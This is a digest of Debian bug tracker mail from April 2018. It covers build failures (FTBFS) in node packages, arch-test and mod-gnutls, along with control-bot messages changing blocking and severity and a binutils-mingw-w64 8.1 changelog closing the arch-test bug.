replace_conflicting=True,
  File "/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py", line 774, 
in resolve
replace_conflicting=replace_conflicting
  File "/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py", line 1057, 
in best_match
return self.obtain(req, installer)
  File "/usr/lib/python2.7/dist-packages/pkg_resources/__init__.py", line 1069, 
in obtain
return installer(requirement)
  File "/usr/lib/python2.7/dist-packages/setuptools/dist.py", line 580, in 
fetch_build_egg
return cmd.easy_install(req)
  File "/usr/lib/python2.7/dist-packages/setuptools/command/easy_install.py", 
line 692, in easy_install
raise DistutilsError(msg)
distutils.errors.DistutilsError: Could not find suitable distribution for 
Requirement.parse('CFFI>=1.0')
E: pybuild pybuild:336: clean: plugin distutils failed with: exit code=1: 
python2.7 setup.py clean 
dh_auto_clean: pybuild --clean -i python{version} -p 2.7 returned exit code 13
make: *** [debian/rules:8: clean] Error 25

Processed: node-is-glob: >4.0.0 breaks reverse dependencies

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> block 894878 by 884543
Bug #894878 [src:node-is-glob] node-is-glob: >4.0.0 breaks reverse dependencies
894878 was not blocked by any bugs.
894878 was not blocking any bugs.
Added blocking bug(s) of 894878: 884543
> block 894878 by 884544
Bug #894878 [src:node-is-glob] node-is-glob: >4.0.0 breaks reverse dependencies
894878 was blocked by: 884543
894878 was not blocking any bugs.
Added blocking bug(s) of 894878: 884544
> block 894878 by 884545
Bug #894878 [src:node-is-glob] node-is-glob: >4.0.0 breaks reverse dependencies
894878 was blocked by: 884544 884543
894878 was not blocking any bugs.
Added blocking bug(s) of 894878: 884545
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894878: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894878
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: node-grunt-contrib-concat: FTBFS and Debci failure with node-source-map 0.6

[Debian Bug Tracking System]

Processing control commands:

> block 894877 by -1
Bug #894877 [src:node-source-map] node-source-map: >= 0.6.0 breaks 
node-grunt-contrib-concat
894877 was not blocked by any bugs.
894877 was not blocking any bugs.
Added blocking bug(s) of 894877: 878337

-- 
878337: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=878337
894877: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894877
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#889710: marked as done (arch-test FTBFS: i686-w64-mingw32-ld: cannot find -lkernel32)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 07:50:26 +
with message-id 
and subject line Bug#889710: fixed in binutils-mingw-w64 8.1
has caused the Debian Bug report #889710,
regarding arch-test FTBFS: i686-w64-mingw32-ld: cannot find -lkernel32
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
889710: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889710
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: arch-test
Version: 0.9-1
Severity: serious

Some recent change in unstable makes arch-test FTBFS:

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/arch-test.html

...
   dh_auto_build
make -j15
make[1]: Entering directory '/build/1st/arch-test-0.9'
x86_64-linux-gnu-as --64 amd64.s -o amd64.o
x86_64-linux-gnu-as --x32 x32.s -o x32.o
x86_64-linux-gnu-as --32 i386.s -o i386.o
i686-w64-mingw32-as win32.s -o win32.o
x86_64-w64-mingw32-as win64.s -o win64.o
mips-linux-gnu-as -32 -EB mips.s -o mips.o
mips-linux-gnu-as -32 -EL mips.s -o mipsel.o
mips-linux-gnu-as -n32 -EB mipsn32.s -o mipsn32.o
mips-linux-gnu-as -n32 -EL mipsn32.s -o mipsn32el.o
mips-linux-gnu-as -64 -EB mips64.s -o mips64.o
mips-linux-gnu-as -64 -EL mips64.s -o mips64el.o
x86_64-linux-gnu-as --64 solaris-amd64.s -o illumos-amd64.o
x86_64-linux-gnu-as --64 solaris-amd64.s -o kfreebsd-amd64.o
x86_64-linux-gnu-as --32 kfreebsd-i386.s -o kfreebsd-i386.o
powerpc-linux-gnu-as -a32 powerpc.s -o powerpc.o
i686-w64-mingw32-ld -s win32.o -lkernel32 -o arch-test-win32
x86_64-w64-mingw32-ld -s win64.o -lkernel32 -o arch-test-win64
x86_64-linux-gnu-ld -melf_x86_64 -s kfreebsd-amd64.o -o arch-test-kfreebsd-amd64
i686-w64-mingw32-ld: cannot find -lkernel32
mips-linux-gnu-ld -melf32btsmip -s mips.o -o arch-test-mips
Makefile:56: recipe for target 'arch-test-win32' failed
make[1]: *** [arch-test-win32] Error 1
make[1]: *** Waiting for unfinished jobs
x86_64-linux-gnu-ld -melf_x86_64 -s amd64.o -o arch-test-amd64
x86_64-linux-gnu-ld -melf32_x86_64 -s x32.o -o arch-test-x32
mips-linux-gnu-ld -melf32btsmipn32 -s mipsn32.o -o arch-test-mipsn32
mips-linux-gnu-ld -melf64btsmip -s mips64.o -o arch-test-mips64
mips-linux-gnu-ld -melf32ltsmip -s mipsel.o -o arch-test-mipsel
mips-linux-gnu-ld -melf32ltsmipn32 -s mipsn32el.o -o arch-test-mipsn32el
x86_64-linux-gnu-ld -melf_x86_64 -s illumos-amd64.o -o arch-test-illumos-amd64
x86_64-w64-mingw32-ld: cannot find -lkernel32


This might be a regression somewhere in the MinGW packages,
maintainer is Cc'ed.
--- End Message ---
--- Begin Message ---
Source: binutils-mingw-w64
Source-Version: 8.1

We believe that the bug you reported is fixed in the latest version of
binutils-mingw-w64, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 889...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Stephen Kitt  (supplier of updated binutils-mingw-w64 package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Thu, 05 Apr 2018 09:22:25 +0200
Source: binutils-mingw-w64
Binary: binutils-mingw-w64 binutils-mingw-w64-i686 binutils-mingw-w64-x86-64
Architecture: source
Version: 8.1
Distribution: unstable
Urgency: medium
Maintainer: Stephen Kitt 
Changed-By: Stephen Kitt 
Description:
 binutils-mingw-w64 - Cross-binutils for Win32 and Win64 using MinGW-w64
 binutils-mingw-w64-i686 - Cross-binutils for Win32 (x86) using MinGW-w64
 binutils-mingw-w64-x86-64 - Cross-binutils for Win64 (x64) using MinGW-w64
Closes: 889710
Changes:
 binutils-mingw-w64 (8.1) unstable; urgency=medium
 .
   * Enable previously disabled tests which now work.
   * Remove obsolete spelling fix.
   * Disable autoreconf: it breaks the build, and requires a number of
 unfortunate workarounds; instead of relying on that to handle
 dh_auto_configure’s use of --runstatedir, explicitly specify the
 configure incantation. Closes: #889710; thanks to Adrian Bunk for his
 investigations.
   * Migrate to Salsa.
Checksums-Sha1:
 b3dd7506ca4917f2f1485bffcede7d5db7e4d618 1871 binutils-mingw-w64_8.1.dsc
 c9df2e0762147eee6bf792f1336d142e7ae2daa5 9792 binutils-mingw-w64_8.1.tar.xz
 d3930b2596fb4450e3cd9adba0bcf1fba7b18b7d 7331 
binutils-mingw

Bug#894874: Bumping severity

[Sunil Mohan Adapa]

severity 894874 grave
thanks

Since this bug seems to affect all builds.

-- 
Sunil



signature.asc
Description: OpenPGP digital signature

Bug#878337: node-grunt-contrib-concat: FTBFS and Debci failure with node-source-map 0.6

[Graham Inggs]

Control: block 894877 by -1

Is reverting to node-source-map 0.5.7 an option?

Processed: Bumping severity

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> severity 894874 grave
Bug #894874 [src:mod-gnutls] mod-gnutls: FTBFS with Apache 2.4.33-1, reverse 
proxying seems fully broken
Severity set to 'grave' from 'normal'
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894874: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894874
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894878: node-is-glob: >4.0.0 breaks reverse dependencies

[Graham Inggs]

Source: node-is-glob
Version: 4.0.0-1
Severity: serious

Hi Maintainer

Upgrading node-is-glob to version 4.0.0 broke the following reverse
dependencies:
node-glob-base
node-glob-parent
node-parse-glob

As it can be seen in the debci logs [1][2][3], the failures all
started on 2017-12-15.

Regards
Graham

[1] https://ci.debian.net/packages/n/node-glob-base/unstable/amd64/
[2] https://ci.debian.net/packages/n/node-glob-parent/unstable/amd64/
[3] https://ci.debian.net/packages/n/node-parse-glob/unstable/amd64/

Bug#894877: node-source-map: >= 0.6.0 breaks node-grunt-contrib-concat

[Graham Inggs]

Source: node-source-map
Version: 0.6.0+dfsg-1
Severity: serious

Hi Maintainer

Upgrading node-source-map to version 0.6.0 broke node-grunt-contrib-concat.
As it can be seen in the debci logs [1], the failures started on 2017-09-28.

Regards
Graham

[1] https://ci.debian.net/packages/n/node-grunt-contrib-concat/unstable/amd64/